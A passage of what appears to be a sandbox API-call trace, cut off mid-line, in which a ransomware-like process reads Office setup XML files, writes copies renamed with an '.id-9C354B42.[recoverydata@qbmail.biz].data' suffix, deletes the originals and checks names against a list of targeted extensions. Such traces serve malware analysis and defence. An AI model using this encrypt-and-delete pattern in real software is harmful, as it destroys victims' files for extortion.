[0094.905] ReadFile (in: hFile=0x204, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0094.907] WriteFile (in: hFile=0x214, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0095.365] ReadFile (in: hFile=0x204, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.365] WriteFile (in: hFile=0x214, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0095.365] SetEndOfFile (hFile=0x214) returned 1 [0095.365] CloseHandle (hObject=0x214) returned 1 [0095.366] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.366] SetEndOfFile (hFile=0x204) returned 1 [0095.367] CloseHandle (hObject=0x204) returned 1 [0095.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0095.367] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0095.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0095.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0095.368] lstrlenW (lpString=".doc") returned 4 [0095.368] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.368] lstrlenW (lpString=".docx") returned 5 [0095.368] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0095.368] lstrlenW (lpString=".pdf") returned 4 [0095.368] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.368] lstrlenW (lpString=".xls") returned 4 [0095.368] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.368] lstrlenW (lpString=".xlsx") returned 5 [0095.368] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0095.368] lstrlenW (lpString=".ppt") returned 4 [0095.368] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0095.368] lstrlenW (lpString=".zip") returned 4 [0095.368] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.368] lstrlenW (lpString=".rar") returned 4 [0095.368] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.368] lstrlenW (lpString=".bz2") returned 4 [0095.369] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.369] lstrlenW (lpString=".7z") returned 3 [0095.369] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0095.369] lstrlenW (lpString=".dbf") returned 4 [0095.369] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0095.369] lstrlenW (lpString=".1cd") returned 4 [0095.369] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0095.369] lstrlenW (lpString=".jpg") returned 4 [0095.369] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0095.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0095.369] lstrlenW (lpString=".doc") returned 4 [0095.369] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.369] lstrlenW (lpString=".docx") returned 5 [0095.369] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0095.369] lstrlenW (lpString=".pdf") returned 4 [0095.369] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.369] lstrlenW (lpString=".xls") returned 4 [0095.370] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.370] lstrlenW (lpString=".xlsx") returned 5 [0095.370] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0095.370] lstrlenW (lpString=".ppt") returned 4 [0095.370] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0095.370] lstrlenW (lpString=".zip") returned 4 [0095.370] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.370] lstrlenW (lpString=".rar") returned 4 [0095.370] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.370] lstrlenW (lpString=".bz2") returned 4 [0095.370] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.370] lstrlenW (lpString=".7z") returned 3 [0095.370] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0095.370] lstrlenW (lpString=".dbf") returned 4 [0095.371] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0095.371] lstrlenW (lpString=".1cd") returned 4 [0095.371] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0095.371] lstrlenW (lpString=".jpg") returned 4 [0095.371] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.371] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0095.371] lstrlenW (lpString="SETUP.XML") returned 9 [0095.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0096.164] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1872) returned 1 [0096.164] CloseHandle (hObject=0x1e0) returned 1 [0096.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0096.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0096.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0096.165] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.165] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0096.166] GetLastError () returned 0x0 [0096.166] ReadFile (in: hFile=0x1e0, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x750, lpOverlapped=0x0) returned 1 [0096.209] WriteFile (in: hFile=0x1fc, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x760, lpOverlapped=0x0) returned 1 [0096.210] ReadFile (in: hFile=0x1e0, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.210] WriteFile (in: hFile=0x1fc, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0096.210] SetEndOfFile (hFile=0x1fc) returned 1 [0096.211] CloseHandle (hObject=0x1fc) returned 1 [0096.211] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.211] SetEndOfFile (hFile=0x1e0) returned 1 [0096.213] CloseHandle (hObject=0x1e0) returned 1 [0096.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0096.214] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0096.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0096.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0096.214] lstrlenW (lpString=".doc") returned 4 [0096.215] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.215] lstrlenW (lpString=".docx") returned 5 [0096.215] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0096.215] lstrlenW (lpString=".pdf") returned 4 [0096.215] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.215] lstrlenW (lpString=".xls") returned 4 [0096.215] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.215] lstrlenW (lpString=".xlsx") returned 5 [0096.215] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0096.215] lstrlenW (lpString=".ppt") returned 4 [0096.215] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0096.215] lstrlenW (lpString=".zip") returned 4 [0096.215] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.215] lstrlenW (lpString=".rar") returned 4 [0096.215] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.215] lstrlenW (lpString=".bz2") returned 4 [0096.215] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.215] lstrlenW (lpString=".7z") returned 3 [0096.215] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0096.216] lstrlenW (lpString=".dbf") returned 4 [0096.216] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0096.216] lstrlenW (lpString=".1cd") returned 4 [0096.216] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0096.216] lstrlenW (lpString=".jpg") returned 4 [0096.216] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0096.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0096.216] lstrlenW (lpString=".doc") returned 4 [0096.216] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.216] lstrlenW (lpString=".docx") returned 5 [0096.217] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0096.217] lstrlenW (lpString=".pdf") returned 4 [0096.217] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.217] lstrlenW (lpString=".xls") returned 4 [0096.217] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.217] lstrlenW (lpString=".xlsx") returned 5 [0096.217] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0096.217] lstrlenW (lpString=".ppt") returned 4 [0096.217] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0096.217] lstrlenW (lpString=".zip") returned 4 [0096.217] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.217] lstrlenW (lpString=".rar") returned 4 [0096.217] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.217] lstrlenW (lpString=".bz2") returned 4 [0096.217] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.217] lstrlenW (lpString=".7z") returned 3 [0096.217] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0096.218] lstrlenW (lpString=".dbf") returned 4 [0096.218] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0096.218] lstrlenW (lpString=".1cd") returned 4 [0096.218] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0096.218] lstrlenW (lpString=".jpg") returned 4 [0096.218] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.218] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0096.218] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0096.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0096.219] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1450) returned 1 [0096.219] CloseHandle (hObject=0x1e0) returned 1 [0096.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0096.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0096.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0096.219] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.219] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0096.225] GetLastError () returned 0x0 [0096.225] ReadFile (in: hFile=0x1e0, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0096.228] WriteFile (in: hFile=0x214, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0096.230] ReadFile (in: hFile=0x1e0, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.230] WriteFile (in: hFile=0x214, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0096.230] SetEndOfFile (hFile=0x214) returned 1 [0096.231] CloseHandle (hObject=0x214) returned 1 [0096.231] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.231] SetEndOfFile (hFile=0x1e0) returned 1 [0096.232] CloseHandle (hObject=0x1e0) returned 1 [0096.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0096.233] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0096.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0096.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0096.233] lstrlenW (lpString=".doc") returned 4 [0096.233] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.233] lstrlenW (lpString=".docx") returned 5 [0096.233] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0096.234] lstrlenW (lpString=".pdf") returned 4 [0096.234] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.234] lstrlenW (lpString=".xls") returned 4 [0096.234] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.234] lstrlenW (lpString=".xlsx") returned 5 [0096.234] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0096.234] lstrlenW (lpString=".ppt") returned 4 [0096.234] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0096.234] lstrlenW (lpString=".zip") returned 4 [0096.234] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.234] lstrlenW (lpString=".rar") returned 4 [0096.234] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.234] lstrlenW (lpString=".bz2") returned 4 [0096.234] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.234] lstrlenW (lpString=".7z") returned 3 [0096.234] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0096.235] lstrlenW (lpString=".dbf") returned 4 [0096.235] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0096.235] lstrlenW (lpString=".1cd") returned 4 [0096.235] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0096.235] lstrlenW (lpString=".jpg") returned 4 [0096.235] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0096.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0096.235] lstrlenW (lpString=".doc") returned 4 [0096.235] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.235] lstrlenW (lpString=".docx") returned 5 [0096.235] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0096.235] lstrlenW (lpString=".pdf") returned 4 [0096.236] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.236] lstrlenW (lpString=".xls") returned 4 [0096.236] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.236] lstrlenW (lpString=".xlsx") returned 5 [0096.236] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0096.236] lstrlenW (lpString=".ppt") returned 4 [0096.236] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0096.236] lstrlenW (lpString=".zip") returned 4 [0096.236] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.236] lstrlenW (lpString=".rar") returned 4 [0096.236] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.236] lstrlenW (lpString=".bz2") returned 4 [0096.236] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.236] lstrlenW (lpString=".7z") returned 3 [0096.236] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0096.237] lstrlenW (lpString=".dbf") returned 4 [0096.237] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0096.237] lstrlenW (lpString=".1cd") returned 4 [0096.237] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0096.237] lstrlenW (lpString=".jpg") returned 4 [0096.237] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.238] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0096.238] lstrlenW (lpString="SETUP.XML") returned 9 [0096.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0096.239] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1608) returned 1 [0096.240] CloseHandle (hObject=0x1e0) returned 1 [0096.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0096.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 